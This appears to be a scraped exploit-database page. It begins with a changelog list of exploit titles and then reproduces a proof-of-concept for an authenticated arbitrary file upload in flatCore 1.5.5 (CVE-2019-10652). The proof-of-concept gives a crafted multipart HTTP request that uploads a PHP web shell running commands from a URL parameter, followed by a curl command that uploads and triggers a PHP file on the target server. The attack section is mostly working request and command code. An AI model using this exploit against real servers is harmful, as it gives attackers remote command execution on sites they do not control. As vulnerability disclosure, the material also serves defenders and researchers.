
52 changes to exploits/shellcodes/ghdb Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS) Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 - SQL Injection Microchip TimeProvider 4100 (Configuration modules) 2.4.6 - OS Command Injection Microchip TimeProvider 4100 Grandmaster (Banner Config Modules) 2.4.6 - Stored Cross-Site Scripting (XSS) Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 - SQL Injection Apache HugeGraph Server 1.2.0 - Remote Code Execution (RCE) DataEase 2.4.0 - Database Configuration Information Exposure Cosy+ firmware 21.2s7 - Command Injection Angular-Base64-Upload Library 0.1.20 - Remote Code Execution (RCE) K7 Ultimate Security K7RKScan.sys 17.0.2019 - Denial Of Service (DoS) ABB Cylon Aspect 3.07.02 - File Disclosure (Authenticated) ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE) ABB Cylon Aspect 3.07.02 - File Disclosure ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE) Cisco Smart Software Manager On-Prem 8-202206 - Account Takeover CyberPanel 2.3.6 - Remote Code Execution (RCE) IBM Security Verify Access 10.0.0 - Open Redirect during OAuth Flow Intelight X-1L Traffic controller Maxtime 1.9.6 - Remote Code Execution (RCE) KubeSphere 3.4.0 - Insecure Direct Object Reference (IDOR) MagnusSolution magnusbilling 7.3.0 - Command Injection Palo Alto Networks Expedition 1.2.90.1 - Admin Account Takeover Progress Telerik Report Server 2024 Q1 (10.0.24.305) - Authentication Bypass Sonatype Nexus Repository 3.53.0-01 - Path Traversal Watcharr 1.43.0 - Remote Code Execution (RCE) Webmin Usermin 2.100 - Username Enumeration ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials ABB Cylon Aspect 3.08.01 - Arbitrary File Delete ABB Cylon Aspect 3.07.01 - Hard-coded Default Credentials ABB Cylon Aspect 3.08.01 - Arbitrary File Delete AquilaCMS 1.409.20 - Remote Command Execution (RCE) Artica Proxy 4.50 - Remote Code Execution (RCE) Centron 19.04 - Remote Code Execution (RCE) ChurchCRM 5.9.1 - SQL Injection CodeAstro Online Railway Reservation System 1.0 - Cross Site Scripting (XSS) CodeCanyon RISE CRM 3.7.0 - SQL Injection Elaine's Realtime CRM Automation 6.18.17 - Reflected XSS Feng Office 3.11.1.2 - SQL Injection flatCore 1.5 - Cross Site Request Forgery (CSRF) flatCore 1.5.5 - Arbitrary File Upload flatCore 1.5 - Cross Site Request Forgery (CSRF) flatCore 1.5.5 - Arbitrary File Upload GetSimpleCMS 3.3.16 - Remote Code Execution (RCE) Gnuboard5 5.3.2.8 - SQL Injection LearnPress WordPress LMS Plugin 4.2.7 - SQL Injection Litespeed Cache 6.5.0.1 - Authentication Bypass MiniCMS 1.1 - Cross Site Scripting (XSS) MoziloCMS 3.0 - Remote Code Execution (RCE) NEWS-BUZZ News Management System 1.0 - SQL Injection PandoraFMS 7.0NG.772 - SQL Injection phpIPAM 1.6 - Reflected Cross Site Scripting (XSS) PZ Frontend Manager WordPress Plugin 1.0.5 - Cross Site Request Forgery (CSRF) ResidenceCMS 2.10.1 - Stored Cross-Site Scripting (XSS) RosarioSIS 7.6 - SQL Injection Roundcube Webmail 1.6.6 - Stored Cross Site Scripting (XSS) Typecho 1.3.0 - Race Condition Typecho 1.3.0 - Stored Cross-Site Scripting (XSS) Typecho 1.3.0 - Race Condition Typecho 1.3.0 - Stored Cross-Site Scripting (XSS) X2CRM 8.5 - Stored Cross-Site Scripting (XSS) Rejetto HTTP File Server 2.3m - Remote Code Execution (RCE) Microsoft Office 2019 MSO Build 1808 - NTLMv2 Hash Disclosure
78 lines
No EOL
3.1 KiB
Text
78 lines
No EOL
3.1 KiB
Text
# Exploit Title: flatCore 1.5.5 - Arbitrary File Upload
|
||
# Date: 2024-10-26
|
||
# Exploit Author: CodeSecLab
|
||
# Vendor Homepage: https://github.com/flatCore/flatCore-CMS
|
||
# Software Link: https://github.com/flatCore/flatCore-CMS
|
||
# Version: 1.5.5
|
||
# Tested on: Ubuntu Windows
|
||
# CVE : CVE-2019-10652
|
||
PoC:
|
||
1)
|
||
1. Access the flatCore Admin Panel
|
||
URL: http://flatcore/acp/acp.php
|
||
Log in with valid administrative credentials.
|
||
2. Upload a Malicious PHP File
|
||
Navigate to the upload section where you can add new files or images. This is usually accessible via the "Media" or "Addons" feature in the admin panel.
|
||
3. Intercept and Modify the Upload Request
|
||
Using a tool like Burp Suite or by modifying the request directly, prepare the following POST request:
|
||
|
||
POST /acp/core/files.upload-script.php HTTP/1.1
|
||
Host: flatcore
|
||
Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150
|
||
Content-Length: <calculated length>
|
||
Cookie: PHPSESSID=<valid_session_id>
|
||
|
||
-----------------------------735323031399963166993862150
|
||
Content-Disposition: form-data; name="file"; filename="exploit.php"
|
||
Content-Type: application/octet-stream
|
||
|
||
<?php
|
||
// Simple PHP backdoor code
|
||
echo "Vulnerable File Upload - PoC";
|
||
system($_GET['cmd']);
|
||
?>
|
||
-----------------------------735323031399963166993862150
|
||
Content-Disposition: form-data; name="upload_destination"
|
||
|
||
../content/files
|
||
-----------------------------735323031399963166993862150
|
||
Content-Disposition: form-data; name="csrf_token"
|
||
|
||
<valid_csrf_token>
|
||
-----------------------------735323031399963166993862150
|
||
Note: Replace <valid_session_id> and <valid_csrf_token> with values from your authenticated session.
|
||
4. Verification
|
||
After uploading, the PHP file should be accessible at: http://flatcore/content/files/exploit.php
|
||
Access the uploaded file: http://flatcore/content/files/exploit.php?cmd=whoami
|
||
|
||
PoC
|
||
2)
|
||
# PoC to exploit unrestricted file upload vulnerability in flatCore 1.4.7
|
||
# Target URL: http://flatcore/
|
||
# The attacker must be authenticated as an administrator to exploit this vulnerability
|
||
|
||
# Step 1: Log in as an administrator and obtain the CSRF token
|
||
# You need to obtain the CSRF token manually or through a script since the token is required for the file upload.
|
||
|
||
# Step 2: Upload a malicious PHP file using the file upload feature
|
||
|
||
# Create a PHP reverse shell or any arbitrary PHP code and save it as shell.php
|
||
echo "<?php phpinfo(); ?>" > shell.php
|
||
|
||
# Upload the PHP file using cURL
|
||
curl -X POST "http://flatcore/acp/core/files.upload-script.php" \
|
||
-H "Content-Type: multipart/form-data" \
|
||
-F "file=@shell.php" \
|
||
-F "csrf_token=YOUR_CSRF_TOKEN_HERE" \
|
||
-F "upload_destination=../content/files" \
|
||
-F "file_mode=overwrite" \
|
||
-b "PHPSESSID=YOUR_SESSION_ID_HERE"
|
||
|
||
# Replace YOUR_CSRF_TOKEN_HERE and YOUR_SESSION_ID_HERE with valid CSRF token and PHPSESSID
|
||
|
||
# Step 3: Access the uploaded malicious PHP file
|
||
echo "Visit the following URL to execute the uploaded PHP file:"
|
||
echo "http://flatcore/content/files/shell.php"
|
||
|
||
This PoC demonstrates how an attacker can exploit the unrestricted file upload vulnerability to upload a PHP file and execute it on the server.
|
||
[Replace Your Domain Name] |